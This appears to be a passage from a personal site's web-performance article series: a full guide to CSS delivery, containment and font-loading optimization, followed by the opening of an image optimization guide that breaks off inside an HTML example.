- [web.dev - Optimize Long Tasks](https://web.dev/articles/optimize-long-tasks) - Task scheduling strategies
- [web.dev - INP](https://web.dev/articles/inp) - Interaction to Next Paint metric
- [web.dev - CommonJS Bundles](https://web.dev/articles/commonjs-larger-bundles) - Why CommonJS prevents tree shaking

---

## CSS and Typography Performance Optimization

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/web-performance-optimization/web-performance-css-typography
**Category:** Frontend Engineering / Web Performance Optimization
**Description:** Master CSS delivery, critical CSS extraction, containment properties, and font optimization techniques including WOFF2, subsetting, variable fonts, and CLS-free loading strategies for optimal Core Web Vitals.

# CSS and Typography Performance Optimization

Master CSS delivery, critical CSS extraction, containment properties, and font optimization techniques including WOFF2, subsetting, variable fonts, and CLS-free loading strategies for optimal Core Web Vitals.

<figure>

![CSS and typography optimization stages: delivery, parsing, rendering, and font loading](./css-and-typography-optimization-stages-delivery-parsing-rendering-and-font-loadi.svg)

<figcaption>CSS and typography optimization stages: delivery, parsing, rendering, and font loading</figcaption>

</figure>

## Abstract

CSS and typography performance follows a layered optimization model:

<figure>

![Three optimization layers: delivery eliminates round-trips, runtime isolates layout work, fonts prevent layout shifts](./three-optimization-layers-delivery-eliminates-round-trips-runtime-isolates-layou.svg)

<figcaption>Three optimization layers: delivery eliminates round-trips, runtime isolates layout work, fonts prevent layout shifts</figcaption>

</figure>

**Core mental model**: CSS is render-blocking by design—browsers must build the CSSOM before first paint. Every optimization either reduces blocking time (critical CSS, compression), reduces layout scope (containment), or prevents reflows (compositor animations, font metrics).

**The 14KB threshold** persists even with HTTP/2 and HTTP/3 because TCP slow start's initial congestion window remains ~10 packets (14,600 bytes). Critical CSS fitting this budget renders in the first round-trip.

**Font-induced CLS** occurs because fallback and custom fonts have different metrics. The solution isn't avoiding `font-display: swap`, but making the swap dimensionally identical through metric overrides (`size-adjust`, `ascent-override`).

**Browser support context (as of 2026)**: `content-visibility` is Baseline available (September 2025). Font metric overrides (`ascent-override`, `descent-override`, `line-gap-override`) are NOT Baseline—Safari lacks support. CSS Paint API (Houdini) remains experimental—Firefox has no native support.

## Part 1: CSS Delivery Optimization

### 1.1 Render-Blocking Fundamentals

Browsers block painting until all blocking stylesheets are fetched, parsed, and the CSS Object Model (CSSOM) is built. This prevents flashes of unstyled content (FOUC) but adds to the critical rendering path.

**Design rationale**: The browser intentionally blocks rendering rather than showing unstyled content because partial styling creates worse UX than a brief delay. This blocking behavior is the reason CSS delivery optimization matters—unlike scripts which can be `async`/`defer`, stylesheets are blocking by default.

| Technique               | Core Idea                     | Typical Win                      | Gotchas                             |
| ----------------------- | ----------------------------- | -------------------------------- | ----------------------------------- |
| Concatenate & Minify    | Merge files, strip whitespace | Fewer requests, ~20-40% byte cut | Cache-busting needed                |
| Gzip/Brotli Compression | Transfer-level reduction      | 70-95% smaller payloads          | Requires correct `Content-Encoding` |
| HTTP/2 Preload          | Supply CSS early              | Shorter first byte on slow RTT   | Risk of duplicate pushes            |

```html
<link rel="preload" href="/static/app.css" as="style" onload="this.onload=null;this.rel='stylesheet'" />
<noscript><link rel="stylesheet" href="/static/app.css" /></noscript>
```

### 1.2 Bundling Strategy

Bundling every style into one mega-file simplifies caching but couples cache busting for unrelated views. A hybrid approach balances cache hit rate and payload:

- **global.css**: Shared styles (layout, typography, components)
- **route-[name].css**: Route-specific styles loaded on demand

### 1.3 Critical CSS Extraction

Inlining just the above-the-fold rules eliminates a full round-trip, shrinking First Contentful Paint (FCP) by hundreds of milliseconds on 4G.

**Target**: ≤14KB compressed critical CSS (fits within TCP slow start's initial congestion window of ~10 packets)

**Why 14KB persists with HTTP/2 and HTTP/3**: Despite multiplexing improvements, TCP slow start still limits the initial congestion window. HTTP/3's QUIC uses the same 14KB recommendation. The first round-trip can only carry ~14,600 bytes, making this threshold transport-protocol agnostic.

**Tooling Workflow:**

1. Crawl HTML at target viewports (`critical`, `Penthouse`, or Chrome Coverage)
2. Inline output into `<style>` in the document `<head>`
3. Defer the full sheet with `media="print"` swap pattern

```bash
npx critical index.html \
  --width 360 --height 640 \
  --inline --minify \
  --extract
```

**Generated output:**

```html
<style id="critical">
  /* minified critical rules */
  header {
    display: flex;
    align-items: center;
  }
  /* ... */
</style>

<link rel="stylesheet" href="/static/app.css" media="print" onload="this.media='all'" />
```

**Trade-offs:**

- **Pros**: Faster FCP/LCP, Lighthouse "Eliminate render-blocking" pass
- **Cons**: Inline styles increase HTML size and disable CSS caching for those bytes; multi-route apps need per-page extraction

## Part 2: CSS Runtime Optimization

### 2.1 CSS Containment

The `contain` property instructs the engine to scope layout, paint, style, and size computations to a subtree.

```css
.card {
  contain: layout paint style;
}
```

- **layout**: Changes inside `.card` won't trigger ancestor reflow
- **paint**: Off-screen subtrees are skipped, preventing unnecessary raster work
- **size**: Parent layout ignores intrinsic size of children until needed

**Benefits**: Large lists, dashboards, ad slots see 20-40% layout savings.

**Limitations**: Breaking out of containment for positioned elements or overflow requires additional rules; not supported in IE.

### 2.2 content-visibility

Extends containment with lazy rendering; `content-visibility: auto` skips layout and paint until the element approaches the viewport.

```css
.section {
  content-visibility: auto;
  contain-intrinsic-size: auto 1000px; /* reserve space, remember actual size */
}
```

- Gains up to 7× faster initial render on long documents (tested: 232ms → 30ms)
- Must specify `contain-intrinsic-size` to reserve space and avoid layout shifts during scroll
- **Baseline available** (September 2025): Chrome 85+, Firefox 125+, Safari 18+

**The `auto` keyword in `contain-intrinsic-size`**: Using `auto 1000px` tells the browser to use the last-rendered size once known, falling back to 1000px initially. This provides better scroll behavior than a fixed placeholder.

**Design rationale**: The browser skips rendering for off-screen elements entirely—no layout calculation, no paint, no compositor layers. When the user scrolls near the element, rendering happens just-in-time. This trades scroll-time computation for faster initial paint.

> **Prior to September 2025**: Firefox had `content-visibility` disabled by default (versions 109-124). Safari lacked support entirely. Cross-browser use required feature detection or polyfills.

### 2.3 will-change

A hint for future property transitions so the engine can promote layers upfront.

```css
.modal {
  will-change: transform, opacity;
}
```

**Use carefully**: `will-change` is a **last resort** for existing performance problems, not a preventive measure. Over-using it:

- Burns GPU memory (each promoted layer consumes video memory)
- Can cause composition overhead that outweighs benefits
- Browsers ignore hints beyond a surface-area budget

**Recommended pattern**: Toggle via JavaScript, not static CSS:

```javascript title="will-change-toggle.js" collapse={1-2, 10-15}
const modal = document.querySelector(".modal")

// Apply before animation starts
modal.addEventListener("mouseenter", () => {
  modal.style.willChange = "transform, opacity"
})

// Remove after animation completes
modal.addEventListener("animationend", () => {
  modal.style.willChange = "auto"
})
```

**When static CSS is acceptable**: Predictable, frequent animations like slide decks or page-flip interfaces where the element will definitely animate on interaction.

### 2.4 Compositor-Friendly Animations

Animate only **opacity** and **transform** to stay on the compositor thread, avoiding reflow and paint. Layout-affecting properties (`top`, `left`, `width`, `height`, `margin`) force main-thread work.

```css
/* Good: Compositor-only */
.modal-enter {
  transform: translateY(100%);
  opacity: 0;
}

.modal-enter-active {
  transform: translateY(0);
  opacity: 1;
  transition:
    transform 300ms ease,
    opacity 300ms ease;
}

/* Bad: Triggers layout */
.modal-enter-bad {
  top: 100%;
}

.modal-enter-active-bad {
  top: 0;
  transition: top 300ms ease;
}
```

### 2.5 CSS Houdini Paint Worklet

Paint Worklets allow JavaScript-generated backgrounds executed off-main-thread. The CSS Paint API enables custom rendering without DOM overhead.

```javascript title="checkerboard.js" collapse={1-2}
// checkerboard.js - Paint Worklet module
registerPaint(
  "checker",
  class {
    paint(ctx, geom) {
      const s = 16
      for (let y = 0; y < geom.height; y += s) for (let x = 0; x < geom.width; x += s) ctx.fillRect(x, y, s, s)
    }
  },
)
```

```html
<script>
  CSS.paintWorklet.addModule("/checkerboard.js")
</script>
```

```css
.widget {
  background: paint(checker);
}
```

**Browser Support (NOT Baseline)**:

| Browser | Status            | Notes                              |
| ------- | ----------------- | ---------------------------------- |
| Chrome  | Full support      | 65+ (April 2018)                   |
| Edge    | Full support      | 79+                                |
| Firefox | **Not supported** | Under consideration (Bug #1302328) |
| Safari  | **Partial**       | Development stage, experimental    |

**Recommendation**: Treat CSS Paint API as experimental. Use the [CSS Paint Polyfill](https://github.com/GoogleChromeLabs/css-paint-polyfill) by Chrome DevRel for cross-browser support, but consider it progressive enhancement rather than core functionality. The polyfill leverages `-webkit-canvas()` and `-moz-element()` for optimized rendering in non-supporting browsers.

### 2.6 CSS Size & Selector Efficiency

| Optimization                     | How It Helps                             | Caveats                                               |
| -------------------------------- | ---------------------------------------- | ----------------------------------------------------- |
| Tree-shaking (PurgeCSS, @unocss) | Removes dead selectors; 60-90% reduction | Needs whitelisting for dynamic classes                |
| Selector simplicity              | Short selectors reduce matching time     | Micro-optimization rarely measurable until >10k nodes |
| Non-inheriting custom properties | Faster style recalculation (<5 µs)       | Unsupported in Firefox < 105                          |

```css
/* Efficient: simple, non-chained */
.card-title {
}

/* Inefficient: deeply nested */
.container > .content > .card > .header > .title {
}
```

## Part 3: Font Asset Optimization

### 3.1 The Modern Font Format: WOFF2

WOFF2 uses Brotli compression, achieving 30% smaller files than WOFF and 50% smaller than TTF.

| Format  | Compression | Size vs TTF    | Browser Support   | Recommendation |
| ------- | ----------- | -------------- | ----------------- | -------------- |
| WOFF2   | Brotli      | 50-60% smaller | All modern (>96%) | Primary choice |
| WOFF    | zlib/Flate  | ~40% smaller   | Wide legacy       | Fallback only  |
| TTF/OTF | None        | Baseline       | Legacy            | Avoid for web  |

**Modern declaration:**

```css
@font-face {
  font-family: "MyOptimizedFont";
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url("/fonts/my-optimized-font.woff2") format("woff2");
}
```

### 3.2 Font Subsetting

Subsetting removes unused glyphs, achieving 65-90% file size reduction.

**Strategies:**

**Language-based subsetting:**

```css
@font-face {
  font-family: "MyMultilingualFont";
  src: url("/fonts/my-font-latin.woff2") format("woff2");
  unicode-range:
    U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122;
}

@font-face {
  font-family: "MyMultilingualFont";
  src: url("/fonts/my-font-cyrillic.woff2") format("woff2");
  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
```

**Using pyftsubset:**

```bash
pyftsubset SourceSansPro.ttf \
  --output-file="SourceSansPro-subset.woff2" \
  --flavor=woff2 \
  --layout-features='*' \
  --unicodes="U+0020-007E,U+2018,U+2019,U+201C,U+201D,U+2026"
```

**Critical considerations:**

- Check font EULA permits subsetting (modification)
- Dynamic content may introduce missing glyphs (tofu boxes)
- Use `glyphhanger` for automated analysis

### 3.3 Variable Fonts

Variable fonts consolidate multiple weights/styles into a single file, reducing requests and often total bytes.

**Size comparison (Source Sans Pro):**

- All static weights (OTF): 1,170 KB
- Variable font (OTF): 405 KB
- Variable font (WOFF2): 112 KB

**Declaration (modern syntax)**:

```css
@font-face {
  font-family: "MyVariableFont";
  src: url("MyVariableFont.woff2") format("woff2");
  font-weight: 100 900;
  font-stretch: 75% 125%;
  font-style: normal;
}
```

**Format syntax evolution**:

| Syntax                                | Status                                                       |
| ------------------------------------- | ------------------------------------------------------------ |
| `format("woff2")`                     | **Recommended** - modern browsers auto-detect variable fonts |
| `format("woff2") tech("variations")`  | Current spec, gaining support                                |
| `format("woff2-variations")`          | Deprecated but still works                                   |
| `format("woff2 supports variations")` | Removed from spec, avoid                                     |

**Design rationale**: Variable fonts use OpenType 1.8+ variation tables. Modern browsers detect these automatically from the font binary, making explicit variation hints unnecessary. The `tech()` function exists for forward compatibility but adds no practical benefit today.

**Usage:**

```css
h1 {
  font-family: "MyVariableFont", sans-serif;
  font-weight: 785; /* Any value in range */
}

.condensed {
  font-stretch: 85%;
}
```

**Browser fallback:**

```css title="variable-font-fallback.css" collapse={1-14}
/* Static fonts for legacy browsers */
@font-face {
  font-family: "MyStaticFallback";
  src: url("MyStatic-Regular.woff2") format("woff2");
  font-weight: 400;
}
@font-face {
  font-family: "MyStaticFallback";
  src: url("MyStatic-Bold.woff2") format("woff2");
  font-weight: 700;
}

body {
  font-family: "MyStaticFallback", sans-serif;
}

/* Variable font for modern browsers */
@supports (font-variation-settings: normal) {
  @font-face {
    font-family: "MyVariableFont";
    src: url("MyVariableFont.woff2") format("woff2-variations");
    font-weight: 100 900;
  }

  body {
    font-family: "MyVariableFont", sans-serif;
  }
}
```

## Part 4: Font Loading Strategies

### 4.1 Self-Hosting vs Third-Party

**The shared cache myth is dead**: Browser cache partitioning (Chrome, Safari) means Google Fonts no longer benefit from cross-site caching. Each site downloads fonts independently.

**Benefits of self-hosting:**

- Eliminates third-party connection overhead (DNS + TCP + TLS)
- Full control over caching headers
- GDPR/privacy compliance (no third-party requests)
- Ability to subset exactly as needed

### 4.2 Strategic Preloading

Preload critical fonts to discover them early:

```html
<head>
  <link rel="preload" href="/fonts/critical-heading-font.woff2" as="font" type="font/woff2" crossorigin="anonymous" />
</head>
```

**Critical attributes:**

- `as="font"`: Correct prioritization and caching
- `type="font/woff2"`: Skip preload if format unsupported
- `crossorigin`: **Required** even for same-origin fonts (CORS mode)

**Warning**: Only preload critical fonts. Preloading too many creates contention.

### 4.3 font-display Strategies

| Value      | Block Period             | Swap Period | Behavior          | CWV Impact         | Use Case                      |
| ---------- | ------------------------ | ----------- | ----------------- | ------------------ | ----------------------------- |
| `block`    | Short (~3s recommended)  | Infinite    | FOIT              | Bad FCP/LCP        | Icon fonts                    |
| `swap`     | Extremely small (~0)     | Infinite    | FOUT              | Good FCP, risk CLS | Headlines with CLS mitigation |
| `fallback` | Extremely small (~100ms) | ~3s         | Compromise        | Balanced           | Body text                     |
| `optional` | Extremely small (~100ms) | None        | Performance-first | Excellent CLS      | Non-critical text             |

**Important**: The ~3s and ~100ms values are **recommendations**, not spec requirements. The CSS Fonts specification defines relative timing concepts ("extremely small", "short"), not exact milliseconds. Actual implementation varies by browser—Firefox exposes these as configurable preferences (`gfx.downloadable_fonts.fallback_delay`).

**Strategy alignment:**

- Preloaded fonts → `font-display: swap` (with CLS mitigation)
- Non-preloaded fonts → `font-display: optional`

```css
/* Critical heading font - preloaded */
@font-face {
  font-family: "HeadingFont";
  font-display: swap;
  src: url("/fonts/heading.woff2") format("woff2");
}

/* Body font - not preloaded */
@font-face {
  font-family: "BodyFont";
  font-display: optional;
  src: url("/fonts/body.woff2") format("woff2");
}
```

### 4.4 Preconnect for Third-Party

If using Google Fonts or other CDNs:

```html
<head>
  <link rel="preconnect" href="https://fonts.googleapis.com" />
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
</head>
```

## Part 5: Eliminating Font-Induced CLS

### 5.1 The Root Cause

CLS occurs when fallback and custom fonts have different dimensions. When `font-display: swap` triggers the swap, text reflows and content shifts.

### 5.2 Font Metric Overrides

Use CSS descriptors to force fallback fonts to match custom font dimensions:

- **size-adjust**: Scale overall glyph size
- **ascent-override**: Space above baseline
- **descent-override**: Space below baseline
- **line-gap-override**: Extra space between lines

**Browser Support (NOT Baseline)**:

| Property            | Chrome | Firefox | Safari |
| ------------------- | ------ | ------- | ------ |
| `size-adjust`       | 92+    | 92+     | 17+    |
| `ascent-override`   | 87+    | 89+     | **No** |
| `descent-override`  | 87+    | 89+     | **No** |
| `line-gap-override` | 87+    | 89+     | **No** |

**Safari limitation**: Safari supports only `size-adjust`. Using `ascent-override` and `descent-override` without Safari support may produce worse results than no adjustment, since the size change without vertical metric correction can increase layout shift.

**Workaround for Safari**: Consider using `@supports` to exclude Safari from full metric overrides:

```css
@supports (ascent-override: 1%) {
  /* Chrome, Edge, Firefox only */
  @font-face {
    font-family: "Inter-Fallback";
    src: local("Arial");
    ascent-override: 90.2%;
    descent-override: 22.48%;
    size-adjust: 107.4%;
  }
}
```

### 5.3 Implementation

**Step 1: Define the web font:**

```css
@font-face {
  font-family: "Inter";
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url("/fonts/inter-regular.woff2") format("woff2");
}
```

**Step 2: Create metrics-adjusted fallback:**

```css
@font-face {
  font-family: "Inter-Fallback";
  src: local("Arial");
  ascent-override: 90.2%;
  descent-override: 22.48%;
  line-gap-override: 0%;
  size-adjust: 107.4%;
}
```

**Step 3: Use both in font stack:**

```css
body {
  font-family: "Inter", "Inter-Fallback", sans-serif;
}
```

**Result**: Arial renders with Inter's dimensions. When Inter loads, no layout shift occurs.

### 5.4 Automated Solutions

**Tools for calculating overrides:**

- [Fallback Font Generator](https://screenspan.net/fallback)
- [Capsize](https://seek-oss.github.io/capsize/)
- Fontaine (Node.js library)

**Framework integration:**

- **Next.js 13+**: `next/font` automatically calculates and injects fallback fonts with `size-adjust`. Self-hosts Google Fonts at build time for GDPR compliance and eliminates runtime network requests.
- **Nuxt.js**: `@nuxtjs/fontaine` module provides automatic fallback generation

> **Note on Next.js**: The `@next/font` package was renamed to `next/font` and completely removed in Next.js 14 (October 2023). Use `import { Inter } from 'next/font/google'` or `import localFont from 'next/font/local'`.

## Part 6: Build-Time Processing

### 6.1 Pre- vs Post-Processing

- **Preprocessors (Sass, Less)**: Add variables/mixins but increase build complexity
- **PostCSS**: Autoprefixing, minification (`cssnano`), media query packing with negligible runtime cost

### 6.2 CSS-in-JS Considerations

Runtime CSS-in-JS (styled-components, Emotion) generates and parses CSS in JS bundles, adding 50-200ms scripting cost per route. The cost comes from:

1. **JS parsing**: CSS strings embedded in JS bundles increase parse time
2. **Style injection**: Runtime style tag creation and CSSOM manipulation
3. **Hydration mismatch risk**: Server-rendered CSS must match client-generated CSS exactly

**Design trade-off**: Runtime CSS-in-JS offers developer experience (colocation, dynamic styles) at the cost of runtime performance. The question is whether your use case requires runtime dynamism.

**Static extraction alternatives:**

| Library         | Approach                           | Trade-off                          |
| --------------- | ---------------------------------- | ---------------------------------- |
| Linaria         | Zero-runtime, extracts to CSS      | No dynamic styles                  |
| vanilla-extract | TypeScript-first, type-safe tokens | Build-time only                    |
| Panda CSS       | Atomic CSS generation              | Learning curve for atomic approach |

These compile to static CSS at build time, achieving the same performance as hand-written CSS while retaining component-scoped authoring. Use runtime CSS-in-JS only when you need styles that depend on runtime values (user preferences, API responses).

## Part 7: Measurement & Diagnostics

### 7.1 DevTools Analysis

- **Performance > Selector Stats**: Match attempts vs hits for slow selectors
- **Coverage tab**: Unused CSS per route for pruning
- **Network panel**: Font loading waterfall and timing

### 7.2 Lighthouse Audits

- Render-blocking resources
- Unused CSS
- Font display strategy
- CLS attribution (font-related shifts)

### 7.3 Custom Metrics

```javascript title="performance-monitoring.js" collapse={1-2, 12-13}
// Monitor font loading with PerformanceObserver
const fontObserver = new PerformanceObserver((list) => {
  list.getEntries().forEach((entry) => {
    if (entry.initiatorType === "css" && entry.name.includes("font")) {
      console.log(`Font loaded: ${entry.name}`)
      console.log(`Load time: ${entry.responseEnd - entry.startTime}ms`)
    }
  })
})
fontObserver.observe({ type: "resource" })

// Monitor layout shifts for font-induced CLS
const clsObserver = new PerformanceObserver((list) => {
  list.getEntries().forEach((entry) => {
    if (!entry.hadRecentInput) {
      console.log(`Layout shift: ${entry.value}`)
      entry.sources?.forEach((source) => {
        // Text elements are likely font-related
        if (source.node?.tagName === "P" || source.node?.tagName === "H1") {
          console.log("Possible font-induced CLS")
        }
      })
    }
  })
})
clsObserver.observe({ type: "layout-shift" })
```

## Implementation Checklist

### CSS Delivery

- [ ] Extract and inline critical CSS (≤14KB compressed)
- [ ] Defer non-critical CSS with media="print" swap
- [ ] Configure Gzip/Brotli compression
- [ ] Implement route-based CSS splitting

### CSS Runtime

- [ ] Apply `contain: layout paint style` to independent components
- [ ] Use `content-visibility: auto` for off-screen sections
- [ ] Animate only `transform` and `opacity`
- [ ] Use `will-change` sparingly and remove after animation

### Font Assets

- [ ] Convert to WOFF2 format
- [ ] Subset fonts for target languages
- [ ] Evaluate variable fonts for 3+ weight variants
- [ ] Target ≤100KB total font payload

### Font Loading

- [ ] Self-host fonts for control and privacy
- [ ] Preload critical fonts with crossorigin attribute
- [ ] Use appropriate font-display values
- [ ] Implement font metric overrides for zero-CLS

### Monitoring

- [ ] Track CSS coverage and remove unused rules
- [ ] Monitor font-related CLS in production
- [ ] Set up alerts for font loading regressions

## Performance Budget

| Resource          | Target | Notes                    |
| ----------------- | ------ | ------------------------ |
| Critical CSS      | ≤14KB  | Fits in first TCP packet |
| Total CSS         | ≤50KB  | After compression        |
| Total fonts       | ≤100KB | Critical fonts only      |
| Max font families | 2-3    | Variable fonts preferred |

## Conclusion

CSS and typography performance optimization centers on understanding why browsers block rendering and what causes layout instability. CSS is render-blocking by design—the browser must build the complete CSSOM before painting. This makes delivery optimization (critical CSS, compression, deferral) fundamentally different from JavaScript optimization.

Font loading creates a tension between text visibility (FCP/LCP) and layout stability (CLS). The solution isn't choosing between `font-display: swap` or `block`, but making the swap invisible through metric overrides. However, Safari's lack of `ascent-override` and `descent-override` support means zero-CLS font swaps remain aspirational on Apple devices.

Runtime optimization through containment (`contain`, `content-visibility`) represents a shift from global to local layout scope. The browser still does the same work, just scoped to subtrees. This matters most for complex interfaces—dashboards, infinite lists, content-heavy pages—where a single change can cascade layout recalculations across thousands of nodes.

The 14KB critical CSS target persists because it's based on TCP physics, not HTTP versions. HTTP/2 and HTTP/3 improve multiplexing but don't change slow start behavior. Fitting critical CSS in the initial congestion window remains the fastest path to first paint.

## Appendix

### Prerequisites

- Understanding of the browser rendering pipeline (DOM → CSSOM → Render Tree → Layout → Paint → Composite)
- Familiarity with Core Web Vitals (LCP, CLS, INP)
- Basic knowledge of HTTP caching and compression

### Terminology

- **CSSOM**: CSS Object Model—the browser's parsed representation of stylesheets
- **FOUC**: Flash of Unstyled Content—visible unstyled HTML before CSS loads
- **FOIT**: Flash of Invisible Text—invisible text while fonts load (with `font-display: block`)
- **FOUT**: Flash of Unstyled Text—fallback font visible before custom font loads (with `font-display: swap`)
- **Compositor**: Browser thread that handles GPU-accelerated rendering of layers
- **initcwnd**: Initial congestion window—TCP's starting packet count (~10 packets ≈ 14KB)

### Summary

1. **Load fast**: Minify, compress, split, and inline critical CSS ≤14KB (fits initial congestion window)
2. **Render smart**: Apply `contain`/`content-visibility` to isolate subtrees from global layout
3. **Animate on compositor**: Stick to `opacity`/`transform`; use `will-change` sparingly and toggle via JS
4. **Optimize fonts**: WOFF2 + subsetting + variable fonts; target ≤100KB total
5. **Eliminate CLS**: Font metric overrides for dimensionally identical fallbacks (Safari lacks `ascent-override`)
6. **Ship less CSS**: Tree-shake frameworks, keep selectors flat, measure with Coverage tab

### References

**Specifications**:

- [W3C WOFF2 Specification](https://www.w3.org/TR/WOFF2/) - Web Open Font Format 2.0
- [CSS Containment Module Level 2](https://www.w3.org/TR/css-contain-2/) - Containment and content-visibility spec
- [CSS Fonts Module Level 4](https://www.w3.org/TR/css-fonts-4/) - font-display, font metric descriptors

**Official Documentation**:

- [CSS Containment - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_containment) - Containment and content-visibility
- [will-change - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/will-change) - Animation optimization hints
- [Variable Fonts - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_fonts/Variable_fonts_guide) - Variable fonts guide
- [font-display - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/font-display) - Font loading behavior control
- [ascent-override - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/ascent-override) - Font metric descriptors
- [Chrome DevTools Coverage](https://developer.chrome.com/docs/devtools/coverage) - Finding unused CSS
- [Next.js Font Optimization](https://nextjs.org/docs/pages/api-reference/components/font) - next/font API reference

**Industry Expert Content**:

- [Critical CSS - web.dev](https://web.dev/articles/extract-critical-css) - Extracting and inlining critical CSS
- [content-visibility - web.dev](https://web.dev/articles/content-visibility) - Lazy rendering for better performance
- [CSS content-visibility Baseline - web.dev](https://web.dev/blog/css-content-visibility-baseline) - September 2025 baseline announcement
- [Font Metric Overrides - web.dev](https://web.dev/articles/css-size-adjust) - Preventing CLS with size-adjust
- [Why 14KB - Tune The Web](https://www.tunetheweb.com/blog/critical-resources-and-the-first-14kb/) - TCP slow start and critical resources
- [Variable Fonts - Evil Martians](https://evilmartians.com/chronicles/the-joy-of-variable-fonts-getting-started-on-the-frontend) - Format syntax evolution

**Tools**:

- [pyftsubset](https://fonttools.readthedocs.io/en/latest/subset/) - Font subsetting tool
- [Fallback Font Generator](https://screenspan.net/fallback) - Calculate font metric overrides
- [Capsize](https://seek-oss.github.io/capsize/) - Font metrics calculation
- [CSS Paint Polyfill](https://github.com/GoogleChromeLabs/css-paint-polyfill) - Cross-browser Houdini support

---

## Image Performance Optimization for the Web

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/web-performance-optimization/web-performance-image-optimization
**Category:** Frontend Engineering / Web Performance Optimization
**Description:** Comprehensive guide to image optimization covering modern formats (AVIF, WebP, JPEG XL), responsive image implementation with srcset and sizes, loading strategies with fetchpriority and decoding attributes, and network-aware delivery. Targets 50-80% bandwidth reduction and significant Largest Contentful Paint (LCP) improvements.

# Image Performance Optimization for the Web

Comprehensive guide to image optimization covering modern formats (AVIF, WebP, JPEG XL), responsive image implementation with `srcset` and `sizes`, loading strategies with `fetchpriority` and `decoding` attributes, and network-aware delivery. Targets 50-80% bandwidth reduction and significant Largest Contentful Paint (LCP) improvements.

<figure>

![Image optimization pipeline showing format selection, responsive sizing, loading strategies, and their impact on Core Web Vitals](./image-optimization-pipeline-showing-format-selection-responsive-sizing-loading-s.svg)

<figcaption>Image optimization pipeline showing format selection, responsive sizing, loading strategies, and their impact on Core Web Vitals</figcaption>

</figure>

## Abstract

Image optimization for the web follows a four-stage pipeline where each stage compounds savings:

1. **Format selection**: AVIF achieves 30-50% smaller files than JPEG; WebP achieves 25-34%—use `<picture>` for progressive enhancement with JPEG fallback
2. **Responsive sizing**: Serve images matching device viewport and Device Pixel Ratio (DPR) via `srcset` (width descriptors) and `sizes` (slot size hints)—prevents oversized images on mobile
3. **Loading strategy**: `loading="lazy"` defers off-screen images; `fetchpriority="high"` prioritizes LCP images in the HTTP/2 queue
4. **Decoding control**: `decoding="async"` keeps main thread free for non-critical images; `decoding="sync"` ensures LCP images decode immediately

The key insight: **LCP images require the opposite treatment from everything else**. Above-the-fold LCP images need `loading="eager"`, `fetchpriority="high"`, and `decoding="sync"`. Below-the-fold images need `loading="lazy"`, `fetchpriority="auto"`, and `decoding="async"`.

Always set explicit `width` and `height` attributes—without them, lazy-loaded images cause Cumulative Layout Shift (CLS) when they pop in.

## Image Formats

### Format Comparison

| Format      | Compression vs JPEG | Lossy/Lossless | Color Depth  | HDR Support    | Alpha | Browser Support                | Best Use Case          |
| ----------- | ------------------- | -------------- | ------------ | -------------- | ----- | ------------------------------ | ---------------------- |
| **AVIF**    | 30-50% smaller      | Both           | 8/10/12-bit  | PQ/HLG BT.2100 | Yes   | ~95%                           | HDR photos, rich media |
| **WebP**    | 25-34% smaller      | Both           | 8-bit        | No             | Yes   | ~96%                           | General web delivery   |
| **JPEG XL** | 20-50% smaller      | Both           | up to 32-bit | Full Rec.2100  | Yes   | Safari 17+, Chrome (returning) | Future-proof archival  |
| **JPEG**    | Baseline            | Lossy          | 8-bit        | No             | No    | 100%                           | Universal fallback     |
| **PNG**     | Lossless            | Lossless       | 1-16-bit     | No             | Yes   | 100%                           | Graphics, logos        |

### AVIF (AV1 Image File Format)

AVIF leverages the AV1 video codec for still images, achieving the highest compression efficiency available today.

**Technical architecture:**

- Container: ISOBMFF HEIF container (ISO/IEC 14496-12)
- Codec: AV1 intra-frame encoding with tiles, transforms, CDEF (Constrained Directional Enhancement Filter), loop restoration
- Entropy coding: CABAC (Context-Adaptive Binary Arithmetic Coding)

**Why AVIF achieves better compression:**

- Variable block sizes (4×4 to 128×128 SuperBlocks) adapt to image content
- Advanced prediction modes (65 intra-prediction angles vs JPEG's 9 DCT modes)
- Film grain synthesis preserves texture at lower bitrates without encoding grain detail

**Trade-offs:**

- Encoding is 8-10× slower than JPEG (acceptable for build-time optimization, not real-time)
- Decoding is multi-threaded but still slower than JPEG on low-end devices
- ~95% browser support as of 2025 (Chrome 85+, Firefox 93+, Safari 16.4+, Edge 121+)

> **AVIF 1.2.0 (2025)**: Added sample transforms, refined conformance testing, updated alignment with latest HEIF specifications.

### WebP

WebP provides excellent compression with near-universal support, making it the primary modern format for general web delivery.

**Technical architecture:**

- Lossy mode: VP8 codec with 16×16 macroblocks, intra-frame prediction, residual DCT (Discrete Cosine Transform)
- Lossless mode: VP8L with predictive coding, local palettes, Huffman entropy coding

**Why WebP works well:**

- 25-34% smaller than JPEG at equivalent SSIM (Structural Similarity Index)
- Full 8-bit alpha channel in lossy mode (unlike JPEG)
- Animation support via frame differencing (smaller than GIF)

**Trade-offs:**

- No HDR or wide color gamut support
- No progressive loading (renders frame-by-frame)
- ~96% browser support (missing only Internet Explorer)

### JPEG XL

JPEG XL is designed as the successor to JPEG with unique features for web migration.

**Technical architecture:**

- VarDCT mode: Variable block-size DCT (2-256 pixels) with XYB color quantization
- Modular mode: FLIF-inspired lossless with adaptive quantization

**Why JPEG XL matters:**

- Lossless JPEG transcoding: Re-encode existing JPEG files with 20% size reduction, fully reversible
- Progressive decoding with saliency-based priority (important regions first)
- Up to 32-bit color depth, full Rec.2100 HDR support

**Browser status (as of late 2025):**

- Safari 17+: Native support
- Chrome/Chromium: Re-adding support (reversed 2022 removal), Rust decoder complete with animation support
- Firefox: Behind flag, interest growing

> **Design rationale for Chrome reversal**: Developer demand (top pain point in State of HTML survey), Safari adoption, PDF specification adding JPEG XL support, and availability of a complete Rust decoder with animation support.

### Format Selection Strategy

```html
<picture>
  <!-- Format negotiation: browser takes first supported source -->
